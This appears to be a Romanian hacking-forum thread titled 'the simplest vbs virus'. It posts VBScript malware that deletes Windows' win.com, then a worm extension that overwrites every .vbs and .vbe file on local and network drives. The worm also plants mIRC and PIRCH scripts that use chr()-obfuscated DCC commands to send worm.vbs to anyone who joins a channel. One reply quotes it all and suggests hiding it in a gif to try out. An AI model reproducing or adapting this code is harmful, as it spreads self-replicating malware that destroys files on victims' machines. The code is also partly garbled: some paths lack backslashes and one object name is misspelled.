cel mai simplu virus vbs

Hacking and more...
HaCkinG CulT

Lista Forumurilor Pe Tematici

Hacking and more... | Reguli | Inregistrare | Login

POZE HACKING AND MORE...

Nu sunteti logat.

Nou pe simpatie:
mememe12 Profile

Femeie
23 ani
Bucuresti
cauta Barbat
23 - 80 ani

Hacking and more... / Virus/Trojan / cel mai simplu virus vbs

Moderat de Shocker

Autor

Mesaj

Pagini: 1

virtual_x
Junior+

Din: madrid
Inregistrat: acum 17 ani
Postari: 37

AL SALVEZI SUB .VBS

Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject")
drive = "c:"
folder ="windows"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:windowstempwin.com")
set fs2=fso.CreateTextFile("c:windowswin.com")
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close

Modificat de Shocker (acum 17 ani)

_______________________________________
net_shadow

pus acum 17 ani

ixion
Master of 127.0.0.1

Din: filiasi
Inregistrat: acum 17 ani
Postari: 187

man dar dc deskisesi 2 topicuri cu acelasi subiect???

_______________________________________
kiar daca sunt mic visez sa ajung mare

pus acum 17 ani

Zero_Cool
Pe lista neagra

Inregistrat: acum 17 ani
Postari: 796

@ixion :

dude, astea sunt probleme de la 3xforum

pus acum 17 ani

OSHO
Elite Member

Din: Cluj
Inregistrat: acum 18 ani
Postari: 2069

Daca e virus, cum se multiplica ? Eu nu-mi dau seama...

_______________________________________

IPFind: IP Finder and browser revealer
SkullBox: IT pentru incepatori
_______________________________________

pus acum 17 ani

Zero_Cool
Pe lista neagra

Inregistrat: acum 17 ani
Postari: 796

@virtual_x :

Hai sa te ajut putin sa iti fac codu sa se multiplice

se va raspandi prin :

- Infecteaza mIRC
- Infecteaza pIRCh
- Infecteaza fisiere prin cautare

Code:

Function Dodrives()
On Error Resume Next
Set fso = CreateObject("scipting.filesystemobject")
Set Drives = fso.Drives
For Each Drive In Drives
If Drive.Drivetype = Remote Then
Drivefull = Drive & ""
Call Subfolders(Drivefull)
ElseIf Drive.IsReady Then
Drivefull = Drive & ""
Call Subfolders(Drivefull)
End If
Next
End Function
Function Subfolders(path)
newpath=path
Set Fold = fso.GetFolder(newpath)
Set Files = Fold.Files
For Each file In Files
If fso.GetExtensionName(file.path) = "vbs" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "vbe" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If file.Name = "mirc.ini" Then
Mirc (file.ParentFolder)
End If
If file.Name = "Pirch32.exe" Then
Pirch (file.ParentFolder)
End If
Next
Set file = Fold.Subfolders
For Each Subfol In file
Call Subfolders(Subfol.path)
Next
End Function

Function Mirc(Path)
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
If Path = "" Then
If fso.fileexists("c:mircmirc.ini") Then Path = "c:mirc"
If fso.fileexists("c:mirc32mirc.ini") Then Path = "c:mirc32"
PfDir = ws.regread("HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionProgramFilesDir")
If fso.fileexists(PfDir & "mircmirc.ini") Then Path = PfDir & "mirc"
End If
If Path <> "" Then
Set Script = fso.CreateTextFile(Path & "script.ini", True)
Script.writeline "[script]"
Script.writeline "n0=on 1:JOIN:#:{"
Script.writeline "n1=  /if ( $nick == $me ) { halt }"
Script.writeline "n2=  /." & chr(100) & chr(99) & chr(99) & " send $nick c:windowsworm.vbs"
Script.writeline "n3=}"
Script.Close
End If
End Function

Function Pirch(path)
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
If path = "" Then
If fso.fileexists("c:pirchPirch32.exe") Then path = "c:pirch"
If fso.fileexists("c:pirch32Pirch32.exe") Then path = "c:pirch32"
pfDir = ws.regread("HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionProgramFilesDir")
If fso.fileexists(pfDir & "pirchPirch32.exe") Then path = pfDir & "pirchPirch32.exe"
End If
If path <> "" Then
Set Script = fso.CreateTextFile(path & "events.ini", True)
Script.WriteLine "[Levels]"
Script.WriteLine "Enabled=1"
Script.WriteLine "Count=6"
Script.WriteLine "Level1=000-Unknowns"
Script.WriteLine "000-UnknownsEnabled=1"
Script.WriteLine "Level2=100-Level 100"
Script.WriteLine "100-Level 100Enabled=1"
Script.WriteLine "Level3=200-Level 200"
Script.WriteLine "200-Level 200Enabled=1"
Script.WriteLine "Level4=300-Level 300"
Script.WriteLine " 300-Level 300Enabled=1"
Script.WriteLine "Level5=400-Level 400 "
Script.WriteLine "400-Level 400Enabled=1"
Script.WriteLine "Level6=500-Level 500"
Script.WriteLine "500-Level 500Enabled=1"
Script.WriteLine ""
Script.WriteLine "[000-Unknowns]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.WriteLine ""
Script.WriteLine "[100-Level 100]"
Script.WriteLine "User1=*!*@*"
Script.WriteLine "UserCount=1"
Script.WriteLine "Event1=ON JOIN:#:/" & chr(100) & chr(99) & chr(99) & " tsend $nick c:windowsworm.vbs"
Script.WriteLine "EventCount=1"
Script.WriteLine ""
Script.WriteLine "[200-Level 200]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.WriteLine ""
Script.WriteLine "[300-Level 300]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.WriteLine ""
Script.WriteLine "[400-Level 400]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.WriteLine ""
Script.WriteLine "[500-Level 500]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.Close
End If
End Function

si gata se multiplica

pus acum 17 ani

andrewboy
Grand Master

Inregistrat: acum 17 ani
Postari: 330

way dar datimi un virus in pseudocod k asa nu stie toata lumea limbajul

sper k intelegeti.....sunt si unii care nu stiu toate mediile de programare............

_______________________________________
---ziceti-mi parerea voastra despre chat

pus acum 17 ani

valy4ever2go
Senior

Din: Some were in Romania
Inregistrat: acum 17 ani
Postari: 123

pana la urma asta e virusul care formateaza hardu???

_______________________________________
_________________________________
There's no place like 127.0.0.1!!"
_________________________________

pus acum 17 ani

Zero_Cool
Pe lista neagra

Inregistrat: acum 17 ani
Postari: 796

ti se pare tie a virus de formatat hdd ?

pus acum 17 ani

valy4ever2go
Senior

Din: Some were in Romania
Inregistrat: acum 17 ani
Postari: 123

sincer sa fiu nu!!! dar totusi din pacate nu imi dau seama ce fel de virus este!!!!! deci m-a lamureste cineva??

_______________________________________
_________________________________
There's no place like 127.0.0.1!!"
_________________________________

pus acum 17 ani

boogiesbc
Elite Member

Inregistrat: acum 18 ani
Postari: 1200

andrewboy a scris:

way dar datimi un virus in pseudocod k asa nu stie toata lumea limbajul

sper k intelegeti.....sunt si unii care nu stiu toate mediile de programare............

de ce ai nevoie de virus in pseudocod? il prezinti la scoala?

_______________________________________

30 iunie 2007: Muzica e prima voce...
9 septembrie 2006: Boogie's Sleek Style | Y!M skin

pus acum 17 ani

andrewboy
Grand Master

Inregistrat: acum 17 ani
Postari: 330

lol
mah voi sunteti mai experti si stiti mai multe medii de programare dar io .......... nuami unu si cred k stiti si care........inka invat.....nu mam apucat de mult timp deci nam cum sa stiu mai mult....

_______________________________________
---ziceti-mi parerea voastra despre chat

pus acum 17 ani

OSHO
Elite Member

Din: Cluj
Inregistrat: acum 18 ani
Postari: 2069

andrewboy: nu conteaza cate limbaje cunosti. Invata unul singur dar invata-l bine. Dupa ce il stii invata algoritmi si daca vrei sa faci virusi studiaza in mod deosebit recursivitatea. E cel mai folosit algoritm in programarea virusilor

_______________________________________

IPFind: IP Finder and browser revealer
SkullBox: IT pentru incepatori
_______________________________________

pus acum 17 ani

andrewboy
Grand Master

Inregistrat: acum 17 ani
Postari: 330

Osho dar unde gasesc recursivitatea??/

miai fi de ajutor daca miai spune

_______________________________________
---ziceti-mi parerea voastra despre chat

pus acum 17 ani

cyber
Elite Member

Din: www.kellot.lx.ro
Inregistrat: acum 18 ani
Postari: 528

documenteaza-te de aici...

Modificat de dark_hacker (acum 17 ani)

_______________________________________
..::Nu am mai trecut de mult pe aici::..

..::[][]::..

pus acum 17 ani

dudeman
Junior

Inregistrat: acum 17 ani
Postari: 27

virusu asta sterge de toate files foldere iconurile si gif-urile si le pune intr-un fisier temporar win.com?

_______________________________________
Arcus nimium tensus rumpitur.

pus acum 17 ani

andrewboy
Grand Master

Inregistrat: acum 17 ani
Postari: 330

ms dar akolo mam uitat si io dar nu prea inteleg....

_______________________________________
---ziceti-mi parerea voastra despre chat

pus acum 17 ani

OSHO
Elite Member

Din: Cluj
Inregistrat: acum 18 ani
Postari: 2069

Daca ai intelege din prima ai pierde toata distractia

_______________________________________

IPFind: IP Finder and browser revealer
SkullBox: IT pentru incepatori
_______________________________________

pus acum 17 ani

andrewboy
Grand Master

Inregistrat: acum 17 ani
Postari: 330

da si asta e adevarat

nimeni nu sa nascut invatat.....

_______________________________________
---ziceti-mi parerea voastra despre chat

pus acum 17 ani

virtual_x
Junior+

Din: madrid
Inregistrat: acum 17 ani
Postari: 37

Zero_Cool a scris:

@virtual_x :

Hai sa te ajut putin sa iti fac codu sa se multiplice

se va raspandi prin :

- Infecteaza mIRC
- Infecteaza pIRCh
- Infecteaza fisiere prin cautare

Code:

Function Dodrives()
On Error Resume Next
Set fso = CreateObject("scipting.filesystemobject")
Set Drives = fso.Drives
For Each Drive In Drives
If Drive.Drivetype = Remote Then
Drivefull = Drive & ""
Call Subfolders(Drivefull)
ElseIf Drive.IsReady Then
Drivefull = Drive & ""
Call Subfolders(Drivefull)
End If
Next
End Function
Function Subfolders(path)
newpath=path
Set Fold = fso.GetFolder(newpath)
Set Files = Fold.Files
For Each file In Files
If fso.GetExtensionName(file.path) = "vbs" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If fso.GetExtensionName(file.path) = "vbe" Then
fso.copyfile wscript.scriptfullname, file.path, True
End If
If file.Name = "mirc.ini" Then
Mirc (file.ParentFolder)
End If
If file.Name = "Pirch32.exe" Then
Pirch (file.ParentFolder)
End If
Next
Set file = Fold.Subfolders
For Each Subfol In file
Call Subfolders(Subfol.path)
Next
End Function

Function Mirc(Path)
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
If Path = "" Then
If fso.fileexists("c:mircmirc.ini") Then Path = "c:mirc"
If fso.fileexists("c:mirc32mirc.ini") Then Path = "c:mirc32"
PfDir = ws.regread("HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionProgramFilesDir")
If fso.fileexists(PfDir & "mircmirc.ini") Then Path = PfDir & "mirc"
End If
If Path <> "" Then
Set Script = fso.CreateTextFile(Path & "script.ini", True)
Script.writeline "[script]"
Script.writeline "n0=on 1:JOIN:#:{"
Script.writeline "n1=  /if ( $nick == $me ) { halt }"
Script.writeline "n2=  /." & chr(100) & chr(99) & chr(99) & " send $nick c:windowsworm.vbs"
Script.writeline "n3=}"
Script.Close
End If
End Function

Function Pirch(path)
On Error Resume Next
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.shell")
If path = "" Then
If fso.fileexists("c:pirchPirch32.exe") Then path = "c:pirch"
If fso.fileexists("c:pirch32Pirch32.exe") Then path = "c:pirch32"
pfDir = ws.regread("HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionProgramFilesDir")
If fso.fileexists(pfDir & "pirchPirch32.exe") Then path = pfDir & "pirchPirch32.exe"
End If
If path <> "" Then
Set Script = fso.CreateTextFile(path & "events.ini", True)
Script.WriteLine "[Levels]"
Script.WriteLine "Enabled=1"
Script.WriteLine "Count=6"
Script.WriteLine "Level1=000-Unknowns"
Script.WriteLine "000-UnknownsEnabled=1"
Script.WriteLine "Level2=100-Level 100"
Script.WriteLine "100-Level 100Enabled=1"
Script.WriteLine "Level3=200-Level 200"
Script.WriteLine "200-Level 200Enabled=1"
Script.WriteLine "Level4=300-Level 300"
Script.WriteLine " 300-Level 300Enabled=1"
Script.WriteLine "Level5=400-Level 400 "
Script.WriteLine "400-Level 400Enabled=1"
Script.WriteLine "Level6=500-Level 500"
Script.WriteLine "500-Level 500Enabled=1"
Script.WriteLine ""
Script.WriteLine "[000-Unknowns]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.WriteLine ""
Script.WriteLine "[100-Level 100]"
Script.WriteLine "User1=*!*@*"
Script.WriteLine "UserCount=1"
Script.WriteLine "Event1=ON JOIN:#:/" & chr(100) & chr(99) & chr(99) & " tsend $nick c:windowsworm.vbs"
Script.WriteLine "EventCount=1"
Script.WriteLine ""
Script.WriteLine "[200-Level 200]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.WriteLine ""
Script.WriteLine "[300-Level 300]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.WriteLine ""
Script.WriteLine "[400-Level 400]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.WriteLine ""
Script.WriteLine "[500-Level 500]"
Script.WriteLine "UserCount=0"
Script.WriteLine "EventCount=0"
Script.Close
End If
End Function

si gata se multiplica

esti istet sincer si nu este nevoie sa se multiplice

modifica-l putin si ascunde-l pe un gif si probeaza-l o sa-ti placa

_______________________________________
net_shadow

pus acum 17 ani

ralfy
Membru nou

Inregistrat: acum 17 ani
Postari: 1

sal,sunt nou pe aici,in ce program e facut virusu,eu foloses C++ ,e bun? sa nu va supi ca intreb dar sunt incepator

pus acum 17 ani

ReXuS
Membru nou

Din: Iasi
Inregistrat: acum 17 ani
Postari: 7

si ce face virusu asta ??

_______________________________________
It was me ... Just ReXuS ... The Bad Boy

pus acum 17 ani

ReXuS
Membru nou

Din: Iasi
Inregistrat: acum 17 ani
Postari: 7

Se ia hardu , se pune in cratitza la foc mare, dupa care se lasa 10 min sa se rumeneasca, se serveste cald, retzeta luata din cartea de bucate"Feluri de a gati un HDD", pofta buna!

_______________________________________
It was me ... Just ReXuS ... The Bad Boy

pus acum 17 ani

Pheonix
Little Kevin

Inregistrat: acum 17 ani
Postari: 46

ReXuS dublu post te cam pashte un mique ban !!!

pus acum 17 ani

Pagini: 1

Mergi la